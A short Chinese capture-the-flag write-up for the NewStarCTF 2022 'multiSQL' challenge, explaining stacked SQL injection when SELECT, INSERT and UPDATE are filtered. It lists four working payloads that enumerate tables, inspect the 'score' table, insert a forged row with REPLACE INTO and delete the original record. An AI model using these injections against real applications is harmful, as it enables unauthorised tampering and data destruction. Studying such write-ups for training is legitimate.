> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-newstarctf/week3-multisql.md).

# \[WEEK3]multiSQL

multiSQL，很容易联想到php的multiquery，堆叠注入其中selec,insert,update被过滤

参考链接

{% embed url="<https://www.ttycp3.top/2022/10/06/NEWSTARCTF2022%E6%96%B0%E7%94%9F%E8%B5%9B/>" %}

利用replace进行修改，插入一条新数据，再用delete删除原数据

```
username=%E7%81%AB%E5%8D%8E';show tables;#查数据库里所有的表
username=%E7%81%AB%E5%8D%8E';desc score;#查score表中所有字段
username=%E7%81%AB%E5%8D%8E';replace into score values("火华",200,200,200);#表中插入一条数据
username=%E7%81%AB%E5%8D%8E';delete from score where listen=11;#删除原本的数据
```